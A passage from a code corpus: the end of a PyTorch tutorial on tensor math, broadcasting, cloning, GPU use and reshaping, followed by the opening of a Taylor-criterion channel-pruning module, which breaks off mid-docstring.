interact with\n# simple scalars:\n# \n\nones = torch.zeros(2, 2) + 1\ntwos = torch.ones(2, 2) * 2\nthrees = (torch.ones(2, 2) * 7 - 1) / 2\nfours = twos ** 2\nsqrt2s = twos ** 0.5\n\nprint(ones)\nprint(twos)\nprint(threes)\nprint(fours)\nprint(sqrt2s)\n\n\n##########################################################################\n# As you can see above, arithmetic operations between tensors and scalars,\n# such as addition, subtraction, multiplication, division, and\n# exponentiation are distributed over every element of the tensor. Because\n# the output of such an operation will be a tensor, you can chain them\n# together with the usual operator precedence rules, as in the line where\n# we create ``threes``.\n# \n# Similar operations between two tensors also behave like you\u2019d\n# intuitively expect:\n# \n\npowers2 = twos ** torch.tensor([[1, 2], [3, 4]])\nprint(powers2)\n\nfives = ones + fours\nprint(fives)\n\ndozens = threes * fours\nprint(dozens)\n\n\n##########################################################################\n# It\u2019s important to note here that all of the tensors in the previous code\n# cell were of identical shape. What happens when we try to perform a\n# binary operation on tensors if dissimilar shape?\n# \n# .. note::\n#      The following cell throws a run-time error. This is intentional.\n# \n# ::\n#\n#    a = torch.rand(2, 3)\n#    b = torch.rand(3, 2)\n#\n#    print(a * b)\n#\n\n\n##########################################################################\n# In the general case, you cannot operate on tensors of different shape\n# this way, even in a case like the cell above, where the tensors have an\n# identical number of elements.\n# \n# In Brief: Tensor Broadcasting\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# \n# .. note::\n#      If you are familiar with broadcasting semantics in NumPy\n#      ndarrays, you\u2019ll find the same rules apply here.\n# \n# The exception to the same-shapes rule is *tensor broadcasting.* Here\u2019s\n# an example:\n# \n\nrand = torch.rand(2, 4)\ndoubled = rand * (torch.ones(1, 4) * 2)\n\nprint(rand)\nprint(doubled)\n\n\n#########################################################################\n# What\u2019s the trick here? How is it we got to multiply a 2x4 tensor by a\n# 1x4 tensor?\n# \n# Broadcasting is a way to perform an operation between tensors that have\n# similarities in their shapes. In the example above, the one-row,\n# four-column tensor is multiplied by *both rows* of the two-row,\n# four-column tensor.\n# \n# This is an important operation in Deep Learning. The common example is\n# multiplying a tensor of learning weights by a *batch* of input tensors,\n# applying the operation to each instance in the batch separately, and\n# returning a tensor of identical shape - just like our (2, 4) \\* (1, 4)\n# example above returned a tensor of shape (2, 4).\n# \n# The rules for broadcasting are:\n# \n# -  Each tensor must have at least one dimension - no empty tensors.\n# \n# -  Comparing the dimension sizes of the two tensors, *going from last to\n#    first:*\n# \n#    -  Each dimension must be equal, *or*\n# \n#    -  One of the dimensions must be of size 1, *or*\n# \n#    -  The dimension does not exist in one of the tensors\n# \n# Tensors of identical shape, of course, are trivially \u201cbroadcastable\u201d, as\n# you saw earlier.\n# \n# Here are some examples of situations that honor the above rules and\n# allow broadcasting:\n# \n\na =     torch.ones(4, 3, 2)\n\nb = a * torch.rand(   3, 2) # 3rd & 2nd dims identical to a, dim 1 absent\nprint(b)\n\nc = a * torch.rand(   3, 1) # 3rd dim = 1, 2nd dim identical to a\nprint(c)\n\nd = a * torch.rand(   1, 2) # 3rd dim identical to a, 2nd dim = 1\nprint(d)\n\n\n#############################################################################\n# Look closely at the values of each tensor above: \n#\n# -  The multiplication operation that created ``b`` was \n#    broadcast over every \u201clayer\u201d of ``a``.\n# -  For ``c``, the operation was broadcast over ever layer and row of\n#    ``a`` - every 3-element column is identical. \n# -  For ``d``, we switched it around - now every *row* is identical,\n#    across layers and columns.\n# \n# For more information on broadcasting, see the `PyTorch\n# documentation <https://pytorch.org/docs/stable/notes/broadcasting.html>`__\n# on the topic.\n# \n# Here are some examples of attempts at broadcasting that will fail:\n#\n# .. note::\n#      The following cell throws a run-time error. This is intentional.\n# \n# ::\n#\n#    a =     torch.ones(4, 3, 2)\n#\n#    b = a * torch.rand(4, 3)    # dimensions must match last-to-first\n#\n#    c = a * torch.rand(   2, 3) # both 3rd & 2nd dims different\n#\n#    d = a * torch.rand((0, ))   # can't broadcast with an empty tensor\n#\n\n\n###########################################################################\n# More Math with Tensors\n# ~~~~~~~~~~~~~~~~~~~~~~\n# \n# PyTorch tensors have over three hundred operations that can be performed\n# on them.\n# \n# Here is a small sample from some of the major categories of operations:\n# \n\n# common functions\na = torch.rand(2, 4) * 2 - 1\nprint('Common functions:')\nprint(torch.abs(a))\nprint(torch.ceil(a))\nprint(torch.floor(a))\nprint(torch.clamp(a, -0.5, 0.5))\n\n# trigonometric functions and their inverses\nangles = torch.tensor([0, math.pi / 4, math.pi / 2, 3 * math.pi / 4])\nsines = torch.sin(angles)\ninverses = torch.asin(sines)\nprint('\\nSine and arcsine:')\nprint(angles)\nprint(sines)\nprint(inverses)\n\n# bitwise operations\nprint('\\nBitwise XOR:')\nb = torch.tensor([1, 5, 11])\nc = torch.tensor([2, 7, 10])\nprint(torch.bitwise_xor(b, c))\n\n# comparisons:\nprint('\\nBroadcasted, element-wise equality comparison:')\nd = torch.tensor([[1., 2.], [3., 4.]])\ne = torch.ones(1, 2)  # many comparison ops support broadcasting!\nprint(torch.eq(d, e)) # returns a tensor of type bool\n\n# reductions:\nprint('\\nReduction ops:')\nprint(torch.max(d))        # returns a single-element tensor\nprint(torch.max(d).item()) # extracts the value from the returned tensor\nprint(torch.mean(d))       # average\nprint(torch.std(d))        # standard deviation\nprint(torch.prod(d))       # product of all numbers\nprint(torch.unique(torch.tensor([1, 2, 1, 2, 1, 2]))) # filter unique elements\n\n# vector and linear algebra operations\nv1 = torch.tensor([1., 0., 0.])         # x unit vector\nv2 = torch.tensor([0., 1., 0.])         # y unit vector\nm1 = torch.rand(2, 2)                   # random matrix\nm2 = torch.tensor([[3., 0.], [0., 3.]]) # three times identity matrix\n\nprint('\\nVectors & Matrices:')\nprint(torch.cross(v2, v1)) # negative of z unit vector (v1 x v2 == -v2 x v1)\nprint(m1)\nm3 = torch.matmul(m1, m2)\nprint(m3)                  # 3 times m1\nprint(torch.svd(m3))       # singular value decomposition\n\n\n##################################################################################\n# This is a small sample of operations. For more details and the full inventory of\n# math functions, have a look at the\n# `documentation <https://pytorch.org/docs/stable/torch.html#math-operations>`__.\n# \n# Altering Tensors in Place\n# ~~~~~~~~~~~~~~~~~~~~~~~~~\n# \n# Most binary operations on tensors will return a third, new tensor. When\n# we say ``c = a * b`` (where ``a`` and ``b`` are tensors), the new tensor\n# ``c`` will occupy a region of memory distinct from the other tensors.\n# \n# There are times, though, that you may wish to alter a tensor in place -\n# for example, if you\u2019re doing an element-wise computation where you can\n# discard intermediate values. For this, most of the math functions have a\n# version with an appended underscore (``_``) that will alter a tensor in\n# place.\n# \n# For example:\n# \n\na = torch.tensor([0, math.pi / 4, math.pi / 2, 3 * math.pi / 4])\nprint('a:')\nprint(a)\nprint(torch.sin(a))   # this operation creates a new tensor in memory\nprint(a)              # a has not changed\n\nb = torch.tensor([0, math.pi / 4, math.pi / 2, 3 * math.pi / 4])\nprint('\\nb:')\nprint(b)\nprint(torch.sin_(b))  # note the underscore\nprint(b)              # b has changed\n\n\n#######################################################################\n# For arithmetic operations, there are functions that behave similarly:\n# \n\na = torch.ones(2, 2)\nb = torch.rand(2, 2)\n\nprint('Before:')\nprint(a)\nprint(b)\nprint('\\nAfter adding:')\nprint(a.add_(b))\nprint(a)\nprint(b)\nprint('\\nAfter multiplying')\nprint(b.mul_(b))\nprint(b)\n\n\n##########################################################################\n# Note that these in-place arithmetic functions are methods on the\n# ``torch.Tensor`` object, not attached to the ``torch`` module like many\n# other functions (e.g., ``torch.sin()``). As you can see from\n# ``a.add_(b)``, *the calling tensor is the one that gets changed in\n# place.*\n# \n# There is another option for placing the result of a computation in an\n# existing, allocated tensor. Many of the methods and functions we\u2019ve seen\n# so far - including creation methods! - have an ``out`` argument that\n# lets you specify a tensor to receive the output. If the ``out`` tensor\n# is the correct shape and ``dtype``, this can happen without a new memory\n# allocation:\n# \n\na = torch.rand(2, 2)\nb = torch.rand(2, 2)\nc = torch.zeros(2, 2)\nold_id = id(c)\n\nprint(c)\nd = torch.matmul(a, b, out=c)\nprint(c)                # contents of c have changed\n\nassert c is d           # test c & d are same object, not just containing equal values\nassert id(c), old_id    # make sure that our new c is the same object as the old one\n\ntorch.rand(2, 2, out=c) # works for creation too!\nprint(c)                # c has changed again\nassert id(c), old_id    # still the same object!\n\n\n##########################################################################\n# Copying Tensors\n# ---------------\n# \n# As with any object in Python, assigning a tensor to a variable makes the\n# variable a *label* of the tensor, and does not copy it. For example:\n# \n\na = torch.ones(2, 2)\nb = a\n\na[0][1] = 561  # we change a...\nprint(b)       # ...and b is also altered\n\n\n######################################################################\n# But what if you want a separate copy of the data to work on? The\n# ``clone()`` method is there for you:\n# \n\na = torch.ones(2, 2)\nb = a.clone()\n\nassert b is not a      # different objects in memory...\nprint(torch.eq(a, b))  # ...but still with the same contents!\n\na[0][1] = 561          # a changes...\nprint(b)               # ...but b is still all ones\n\n\n#########################################################################\n# **There is an important thing to be aware of when using ``clone()``.**\n# If your source tensor has autograd, enabled then so will the clone.\n# **This will be covered more deeply in the video on autograd,** but if\n# you want the light version of the details, continue on.\n# \n# *In many cases, this will be what you want.* For example, if your model\n# has multiple computation paths in its ``forward()`` method, and *both*\n# the original tensor and its clone contribute to the model\u2019s output, then\n# to enable model learning you want autograd turned on for both tensors.\n# If your source tensor has autograd enabled (which it generally will if\n# it\u2019s a set of learning weights or derived from a computation involving\n# the weights), then you\u2019ll get the result you want.\n# \n# On the other hand, if you\u2019re doing a computation where *neither* the\n# original tensor nor its clone need to track gradients, then as long as\n# the source tensor has autograd turned off, you\u2019re good to go.\n# \n# *There is a third case,* though: Imagine you\u2019re performing a computation\n# in your model\u2019s ``forward()`` function, where gradients are turned on\n# for everything by default, but you want to pull out some values\n# mid-stream to generate some metrics. In this case, you *don\u2019t* want the\n# cloned copy of your source tensor to track gradients - performance is\n# improved with autograd\u2019s history tracking turned off. For this, you can\n# use the ``.detach()`` method on the source tensor:\n# \n\na = torch.rand(2, 2, requires_grad=True) # turn on autograd\nprint(a)\n\nb = a.clone()\nprint(b)\n\nc = a.detach().clone()\nprint(c)\n\nprint(a)\n\n\n#########################################################################\n# What\u2019s happening here?\n# \n# -  We create ``a`` with ``requires_grad=True`` turned on. **We haven\u2019t\n#    covered this optional argument yet, but will during the unit on\n#    autograd.**\n# -  When we print ``a``, it informs us that the property\n#    ``requires_grad=True`` - this means that autograd and computation\n#    history tracking are turned on.\n# -  We clone ``a`` and label it ``b``. When we print ``b``, we can see\n#    that it\u2019s tracking its computation history - it has inherited\n#    ``a``\\ \u2019s autograd settings, and added to the computation history.\n# -  We clone ``a`` into ``c``, but we call ``detach()`` first.\n# -  Printing ``c``, we see no computation history, and no\n#    ``requires_grad=True``.\n# \n# The ``detach()`` method *detaches the tensor from its computation\n# history.* It says, \u201cdo whatever comes next as if autograd was off.\u201d It\n# does this *without* changing ``a`` - you can see that when we print\n# ``a`` again at the end, it retains its ``requires_grad=True`` property.\n# \n# Moving to GPU\n# -------------\n# \n# One of the major advantages of PyTorch is its robust acceleration on\n# CUDA-compatible Nvidia GPUs. (\u201cCUDA\u201d stands for *Compute Unified Device\n# Architecture*, which is Nvidia\u2019s platform for parallel computing.) So\n# far, everything we\u2019ve done has been on CPU. How do we move to the faster\n# hardware?\n# \n# First, we should check whether a GPU is available, with the\n# ``is_available()`` method.\n# \n# .. note::\n#      If you do not have a CUDA-compatible GPU and CUDA drivers\n#      installed, the executable cells in this section will not execute any\n#      GPU-related code.\n# \n\nif torch.cuda.is_available():\n    print('We have a GPU!')\nelse:\n    print('Sorry, CPU only.')\n\n\n##########################################################################\n# Once we\u2019ve determined that one or more GPUs is available, we need to put\n# our data someplace where the GPU can see it. Your CPU does computation\n# on data in your computer\u2019s RAM. Your GPU has dedicated memory attached\n# to it. Whenever you want to perform a computation on a device, you must\n# move *all* the data needed for that computation to memory accessible by\n# that device. (Colloquially, \u201cmoving the data to memory accessible by the\n# GPU\u201d is shorted to, \u201cmoving the data to the GPU\u201d.)\n# \n# There are multiple ways to get your data onto your target device. You\n# may do it at creation time:\n# \n\nif torch.cuda.is_available():\n    gpu_rand = torch.rand(2, 2, device='cuda')\n    print(gpu_rand)\nelse:\n    print('Sorry, CPU only.')\n\n\n##########################################################################\n# By default, new tensors are created on the CPU, so we have to specify\n# when we want to create our tensor on the GPU with the optional\n# ``device`` argument. You can see when we print the new tensor, PyTorch\n# informs us which device it\u2019s on (if it\u2019s not on CPU).\n# \n# You can query the number of GPUs with ``torch.cuda.device_count()``. If\n# you have more than one GPU, you can specify them by index:\n# ``device='cuda:0'``, ``device='cuda:1'``, etc.\n# \n# As a coding practice, specifying our devices everywhere with string\n# constants is pretty fragile. In an ideal world, your code would perform\n# robustly whether you\u2019re on CPU or GPU hardware. You can do this by\n# creating a device handle that can be passed to your tensors instead of a\n# string:\n# \n\nif torch.cuda.is_available():\n    my_device = torch.device('cuda')\nelse:\n    my_device = torch.device('cpu')\nprint('Device: {}'.format(my_device))\n\nx = torch.rand(2, 2, device=my_device)\nprint(x)\n\n\n#########################################################################\n# If you have an existing tensor living on one device, you can move it to\n# another with the ``to()`` method. The following line of code creates a\n# tensor on CPU, and moves it to whichever device handle you acquired in\n# the previous cell.\n# \n\ny = torch.rand(2, 2)\ny = y.to(my_device)\n\n\n##########################################################################\n# It is important to know that in order to do computation involving two or\n# more tensors, *all of the tensors must be on the same device*. The\n# following code will throw a runtime error, regardless of whether you\n# have a GPU device available:\n# \n# ::\n# \n#    x = torch.rand(2, 2)\n#    y = torch.rand(2, 2, device='gpu')\n#    z = x + y  # exception will be thrown\n# \n\n\n###########################################################################\n# Manipulating Tensor Shapes\n# --------------------------\n# \n# Sometimes, you\u2019ll need to change the shape of your tensor. Below, we\u2019ll\n# look at a few common cases, and how to handle them.\n# \n# Changing the Number of Dimensions\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# \n# One case where you might need to change the number of dimensions is\n# passing a single instance of input to your model. PyTorch models\n# generally expect *batches* of input.\n# \n# For example, imagine having a model that works on 3 x 226 x 226 images -\n# a 226-pixel square with 3 color channels. When you load and transform\n# it, you\u2019ll get a tensor of shape ``(3, 226, 226)``. Your model, though,\n# is expecting input of shape ``(N, 3, 226, 226)``, where ``N`` is the\n# number of images in the batch. So how do you make a batch of one?\n# \n\na = torch.rand(3, 226, 226)\nb = a.unsqueeze(0)\n\nprint(a.shape)\nprint(b.shape)\n\n\n##########################################################################\n# The ``unsqueeze()`` method adds a dimension of extent 1.\n# ``unsqueeze(0)`` adds it as a new zeroth dimension - now you have a\n# batch of one!\n# \n# So if that\u2019s *un*\\ squeezing? What do we mean by squeezing? We\u2019re taking\n# advantage of the fact that any dimension of extent 1 *does not* change\n# the number of elements in the tensor.\n# \n\nc = torch.rand(1, 1, 1, 1, 1)\nprint(c)\n\n\n##########################################################################\n# Continuing the example above, let\u2019s say the model\u2019s output is a\n# 20-element vector for each input. You would then expect the output to\n# have shape ``(N, 20)``, where ``N`` is the number of instances in the\n# input batch. That means that for our single-input batch, we\u2019ll get an\n# output of shape ``(1, 20)``.\n# \n# What if you want to do some *non-batched* computation with that output -\n# something that\u2019s just expecting a 20-element vector?\n# \n\na = torch.rand(1, 20)\nprint(a.shape)\nprint(a)\n\nb = a.squeeze(0)\nprint(b.shape)\nprint(b)\n\nc = torch.rand(2, 2)\nprint(c.shape)\n\nd = c.squeeze(0)\nprint(d.shape)\n\n\n#########################################################################\n# You can see from the shapes that our 2-dimensional tensor is now\n# 1-dimensional, and if you look closely at the output of the cell above\n# you\u2019ll see that printing ``a`` shows an \u201cextra\u201d set of square brackets\n# ``[]`` due to having an extra dimension.\n# \n# You may only ``squeeze()`` dimensions of extent 1. See above where we\n# try to squeeze a dimension of size 2 in ``c``, and get back the same\n# shape we started with. Calls to ``squeeze()`` and ``unsqueeze()`` can\n# only act on dimensions of extent 1 because to do otherwise would change\n# the number of elements in the tensor.\n# \n# Another place you might use ``unsqueeze()`` is to ease broadcasting.\n# Recall the example above where we had the following code:\n# \n# ::\n# \n#    a =     torch.ones(4, 3, 2)\n# \n#    c = a * torch.rand(   3, 1) # 3rd dim = 1, 2nd dim identical to a\n#    print(c)\n# \n# The net effect of that was to broadcast the operation over dimensions 0\n# and 2, causing the random, 3 x 1 tensor to be multiplied element-wise by\n# every 3-element column in ``a``.\n# \n# What if the random vector had just been 3-element vector? We\u2019d lose the\n# ability to do the broadcast, because the final dimensions would not\n# match up according to the broadcasting rules. ``unsqueeze()`` comes to\n# the rescue:\n# \n\na = torch.ones(4, 3, 2)\nb = torch.rand(   3)     # trying to multiply a * b will give a runtime error\nc = b.unsqueeze(1)       # change to a 2-dimensional tensor, adding new dim at the end\nprint(c.shape)\nprint(a * c)             # broadcasting works again!\n\n\n######################################################################\n# The ``squeeze()`` and ``unsqueeze()`` methods also have in-place\n# versions, ``squeeze_()`` and ``unsqueeze_()``:\n# \n\nbatch_me = torch.rand(3, 226, 226)\nprint(batch_me.shape)\nbatch_me.unsqueeze_(0)\nprint(batch_me.shape)\n\n\n##########################################################################\n# Sometimes you\u2019ll want to change the shape of a tensor more radically,\n# while still preserving the number of elements and their contents. One\n# case where this happens is at the interface between a convolutional\n# layer of a model and a linear layer of the model - this is common in\n# image classification models. A convolution kernel will yield an output\n# tensor of shape *features x width x height,* but the following linear\n# layer expects a 1-dimensional input. ``reshape()`` will do this for you,\n# provided that the dimensions you request yield the same number of\n# elements as the input tensor has:\n# \n\noutput3d = torch.rand(6, 20, 20)\nprint(output3d.shape)\n\ninput1d = output3d.reshape(6 * 20 * 20)\nprint(input1d.shape)\n\n# can also call it as a method on the torch module:\nprint(torch.reshape(output3d, (6 * 20 * 20,)).shape)\n\n\n###############################################################################\n# .. note::\n#      The ``(6 * 20 * 20,)`` argument in the final line of the cell\n#      above is because PyTorch expects a **tuple** when specifying a\n#      tensor shape - but when the shape is the first argument of a method, it\n#      lets us cheat and just use a series of integers. Here, we had to add the\n#      parentheses and comma to convince the method that this is really a\n#      one-element tuple.\n# \n# When it can, ``reshape()`` will return a *view* on the tensor to be\n# changed - that is, a separate tensor object looking at the same\n# underlying region of memory. *This is important:* That means any change\n# made to the source tensor will be reflected in the view on that tensor,\n# unless you ``clone()`` it.\n# \n# There *are* conditions, beyond the scope of this introduction, where\n# ``reshape()`` has to return a tensor carrying a copy of the data. For\n# more information, see the\n# `docs <https://pytorch.org/docs/stable/torch.html#torch.reshape>`__.\n# \n\n\n#######################################################################\n# NumPy Bridge\n# ------------\n# \n# In the section above on broadcasting, it was mentioned that PyTorch\u2019s\n# broadcast semantics are compatible with NumPy\u2019s - but the kinship\n# between PyTorch and NumPy goes even deeper than that.\n# \n# If you have existing ML or scientific code with data stored in NumPy\n# ndarrays, you may wish to express that same data as PyTorch tensors,\n# whether to take advantage of PyTorch\u2019s GPU acceleration, or its\n# efficient abstractions for building ML models. It\u2019s easy to switch\n# between ndarrays and PyTorch tensors:\n# \n\nimport numpy as np\n\nnumpy_array = np.ones((2, 3))\nprint(numpy_array)\n\npytorch_tensor = torch.from_numpy(numpy_array)\nprint(pytorch_tensor)\n\n\n##########################################################################\n# PyTorch creates a tensor of the same shape and containing the same data\n# as the NumPy array, going so far as to keep NumPy\u2019s default 64-bit float\n# data type.\n# \n# The conversion can just as easily go the other way:\n# \n\npytorch_rand = torch.rand(2, 3)\nprint(pytorch_rand)\n\nnumpy_rand = pytorch_rand.numpy()\nprint(numpy_rand)\n\n\n##########################################################################\n# It is important to know that these converted objects are using *the same\n# underlying memory* as their source objects, meaning that changes to one\n# are reflected in the other:\n# \n\nnumpy_array[1, 1] = 23\nprint(pytorch_tensor)\n\npytorch_rand[1, 1] = 17\nprint(numpy_rand)\n", "meta": {"hexsha": "f1674566932d5180c99f5b771f2cbe506d469856", "size": 32138, "ext": "py", "lang": "Python", "max_stars_repo_path": "beginner_source/tensors_deeper_tutorial.py", "max_stars_repo_name": "holly1238/pttutorialtest", "max_stars_repo_head_hexsha": "29f900dac0f21db101295590a4b081c4e42e5471", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "beginner_source/tensors_deeper_tutorial.py", "max_issues_repo_name": "holly1238/pttutorialtest", "max_issues_repo_head_hexsha": "29f900dac0f21db101295590a4b081c4e42e5471", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "beginner_source/tensors_deeper_tutorial.py", "max_forks_repo_name": "holly1238/pttutorialtest", "max_forks_repo_head_hexsha": "29f900dac0f21db101295590a4b081c4e42e5471", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.7584033613, "max_line_length": 197, "alphanum_fraction": 0.6356027133, "include": true, "reason": "import numpy", "num_tokens": 8080, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1294027399852894, "lm_q1q2_score": 0.0647013699926447}}
{"text": "\"\"\" Pruning related functions.\r\n\r\nReference - https://jacobgil.github.io/deeplearning/pruning-deep-learning\r\n\"\"\"\r\nimport os\r\nimport re\r\nimport time\r\nimport functools\r\nimport logging\r\nimport copy\r\nfrom collections import namedtuple, OrderedDict, Counter\r\nmodule_logger = logging.getLogger('pruning')\r\nmodule_logger.setLevel(logging.INFO)\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport torch\r\nimport torch.nn as nn\r\nfrom torch.autograd import Variable\r\n\r\nfrom taylor_pruning.transfer import ModelTransfer\r\nfrom taylor_pruning.utils import *\r\nfrom taylor_pruning.mask import ActMask\r\n\r\nActRank = namedtuple('ActRank', ['mod_name', 'channel', 'crit'])\r\n\r\n\r\ndef get_act_hook(mod, inp, out, mod_name=None, act_map=None):\r\n  \"\"\" The forward hook to collect activation. \"\"\"\r\n  assert isinstance(mod_name, str)\r\n  assert isinstance(act_map, dict)\r\n\r\n  act_map[mod_name] = out\r\n\r\n\r\ndef get_grad_hook(mod, grad_in, grad_out, mod_name=None, grad_map=None):\r\n  \"\"\" The hook to collect gradient. \"\"\"\r\n  assert isinstance(mod_name, str)\r\n  assert isinstance(grad_map, dict)\r\n  assert len(grad_out) == 1\r\n\r\n  grad_map[mod_name] = grad_out[0]\r\n\r\n\r\ndef register_hooks(model, act_map, grad_map, logger=None):\r\n  \"\"\" Register hooks on model to collect activations and\r\n    gradients to act_map and grad_map respectively.\r\n    \r\n    Args:\r\n      model(nn.Module):\r\n      act_map(dict): activation map\r\n      grad_map(dict): gradient map\r\n      logger(Logger): log information\r\n  \"\"\"\r\n\r\n  assert isinstance(model, nn.Module)\r\n  assert isinstance(act_map, dict)\r\n  assert isinstance(grad_map, dict)\r\n\r\n  if logger is None:\r\n    logger = module_logger\r\n\r\n  hooks = {}\r\n\r\n  # register hooks\r\n  for name, mod in model.named_modules():\r\n    # skip modules unnecessary for pruning\r\n    if not isinstance(mod, nn.Conv2d) and not isinstance(mod, nn.Linear):\r\n      continue\r\n\r\n    hooks[name] = []\r\n    hooks[name].append(\r\n        mod.register_forward_hook(\r\n            functools.partial(get_act_hook, act_map=act_map, mod_name=name)))\r\n    logger.debug('Registered act hook for module \"{}\"'.format(name))\r\n    hooks[name].append(\r\n        mod.register_backward_hook(\r\n            functools.partial(get_grad_hook, grad_map=grad_map, mod_name=name)))\r\n    logger.debug('Registered grad hook for module \"{}\"'.format(name))\r\n\r\n  return hooks\r\n\r\n\r\ndef compute_taylor_criterion(act, grad):\r\n  \"\"\" Compute the taylor criterion Eq. (8) of a single module. \"\"\"\r\n  assert isinstance(act, torch.Tensor)\r\n  assert isinstance(grad, torch.Tensor)\r\n  assert act.shape == grad.shape\r\n\r\n  # turn both into a tensor of (batch, channels, img_h, img_w)\r\n  if len(act.shape) == 2:  # especially for nn.Linear\r\n    act = act.view([*act.shape, 1, 1])\r\n    grad = grad.view([*grad.shape, 1, 1])\r\n\r\n  with torch.no_grad():  # this is critical for the memory usage\r\n    crit = torch.mul(grad, act)  # element-wise\r\n    crit = crit.view([*crit.shape[:2], -1])  # flatten spatial dims\r\n    crit = crit.mean(dim=2)  # average spatially\r\n    crit = torch.abs(crit)  # take abs for the final crit value\r\n    crit = crit.mean(dim=0, keepdim=True)  # average across all mini-batches\r\n\r\n  return crit\r\n\r\n\r\ndef rank_act(crit_map):\r\n  \"\"\" Rank channels in activations by their criterion.\r\n\r\n    NOTE: All the modules that are affected by replacement should be\r\n      returned by this function.\r\n  \r\n    Args:\r\n      crit_map(dict): computed criterion\r\n    Returns:\r\n      A list of ActRank(<mod_name, channel_id, crit_val>)\r\n      sorted in increasing order\r\n  \"\"\"\r\n  ranking = []\r\n\r\n  for mod_name in crit_map:\r\n    crit = crit_map[mod_name].detach().cpu().numpy()\r\n    crit = np.squeeze(crit)\r\n    assert len(crit.shape) == 1\r\n\r\n    crit = crit.tolist()\r\n    # generate the list of tuple for every module\r\n    ranking.extend(list([ActRank(mod_name, i, c) for i, c in enumerate(crit)]))\r\n\r\n  return list(sorted(ranking, key=lambda k: k.crit))  # sort by crit value\r\n\r\n\r\ndef create_crit_map(act_map, grad_map):\r\n  \"\"\" Create crit_map from act_map and grad_map. \"\"\"\r\n  assert isinstance(act_map, dict)\r\n  assert isinstance(grad_map, dict)\r\n\r\n  # compute and store criterion\r\n  crit_map = {}\r\n  for key in grad_map:\r\n    act, grad = act_map[key], grad_map[key]\r\n    crit = compute_taylor_criterion(act, grad)\r\n    crit = crit.detach().cpu()\r\n\r\n    if key not in crit_map:\r\n      crit_map[key] = crit\r\n    else:\r\n      crit_map[key] = torch.cat((crit_map[key], crit), dim=0)\r\n\r\n  return crit_map\r\n\r\n\r\ndef get_mod_channels(mod, out=False):\r\n  \"\"\" Collect the number of channels. \"\"\"\r\n  if isinstance(mod, nn.Conv2d):\r\n    return mod.out_channels if out else mod.in_channels\r\n  elif isinstance(mod, nn.Linear):\r\n    return mod.out_features if out else mod.in_features\r\n  else:\r\n    raise TypeError('Cannot recognise module with type: {}'.format(type(mod)))\r\n\r\n\r\ndef update_mod_channels(mod, channels, out=False):\r\n  if isinstance(mod, nn.Conv2d):\r\n    if out:\r\n      mod.out_channels = channels\r\n    else:\r\n      mod.in_channels = channels\r\n  elif isinstance(mod, nn.Linear):\r\n    if out:\r\n      mod.out_features = channels\r\n    else:\r\n      mod.in_features = channels\r\n  else:\r\n    raise TypeError('Cannot recognise module with type: {}'.format(type(mod)))\r\n\r\n\r\ndef clone_module(mod, in_channels, out_channels):\r\n  \"\"\" Create a new nn.Conv2d or nn.Linear module based on\r\n    the original module provided. \"\"\"\r\n  if isinstance(mod, nn.Conv2d):\r\n    mod_ = nn.Conv2d(\r\n        in_channels,\r\n        out_channels,\r\n        mod.kernel_size,\r\n        stride=mod.stride,\r\n        padding=mod.padding,\r\n        bias=mod.bias is not None,\r\n        dilation=mod.dilation)\r\n  elif isinstance(mod, nn.Linear):\r\n    mod_ = nn.Linear(in_channels, out_channels, bias=mod.bias is not None)\r\n  else:\r\n    raise TypeError('Cannot recognise module with type: {}'.format(type(mod)))\r\n\r\n  return mod_\r\n\r\n\r\ndef get_channels_to_prune(ranking,\r\n                          num_channels,\r\n                          mod_map=None,\r\n                          par_map=None,\r\n                          least_num_channels=8,\r\n                          excludes=None):\r\n  \"\"\" Return the channels that will be pruned. \r\n  \r\n  Args:\r\n    ranking(list): a list of ActRank, already SORTED.\r\n    num_channels(int): the amount of channels that will be pruned.\r\n    mod_map(dict): mapping from module name to module\r\n    par_map(dict): mapping from module name to its parent's name\r\n    least_num_channels(int): at least leave each activation\r\n      this amount of channels\r\n    excludes(list): a list of mod names that will be excluded\r\n      for pruning.\r\n  Returns:\r\n    A map from mod name to a list of channel indices\r\n  \"\"\"\r\n  assert isinstance(least_num_channels, int) and least_num_channels >= 0\r\n\r\n  # map from mod_name to channels\r\n  rc_map = {}\r\n  pc_map = {}\r\n\r\n  # iterate rankings to initialise rc_map\r\n  for rank in ranking:\r\n    if rank.mod_name not in rc_map:\r\n      rc_map[rank.mod_name] = set()\r\n    rc_map[rank.mod_name].add(rank.channel)  # insert all channels appeared\r\n\r\n    if rank.mod_name not in pc_map:\r\n      pc_map[rank.mod_name] = set()\r\n\r\n  # update rc_map by existing masks\r\n  # when mod_map and par_map are provided\r\n  if mod_map is not None and par_map is not None:\r\n    for mod_name in rc_map:\r\n      mod = mod_map[mod_name]\r\n      par = mod_map[par_map[mod_name]]\r\n\r\n      act_mask = find_act_mask(mod, par)\r\n      # use act_mask to update the set of remaining channels\r\n      if act_mask is not None:\r\n        mask_val = act_mask.mask.cpu().numpy()\r\n        rc_map[mod_name] = set(np.nonzero(mask_val)[0].tolist())\r\n        pc_map[mod_name] = set(np.nonzero(mask_val == 0)[0].tolist())\r\n\r\n  if excludes is None:\r\n    excludes = []\r\n\r\n  cnt = 0\r\n  for rk in ranking:\r\n    # this channel has been removed\r\n    if rk.channel not in rc_map[rk.mod_name]:\r\n      continue\r\n    # remaining channels are less than the threshold\r\n    if len(rc_map[rk.mod_name]) <= least_num_channels:\r\n      continue\r\n    # this module is excluded\r\n    if rk.mod_name in excludes:\r\n      continue\r\n\r\n    # update\r\n    rc_map[rk.mod_name].remove(rk.channel)\r\n    pc_map[rk.mod_name].add(rk.channel)\r\n\r\n    cnt += 1\r\n    if cnt >= num_channels:\r\n      break\r\n\r\n  return pc_map\r\n\r\n\r\ndef find_act_mask(mod, par):\r\n  \"\"\" Find the ActMask followed by mod in its parent children.\r\n\r\n  Args:\r\n    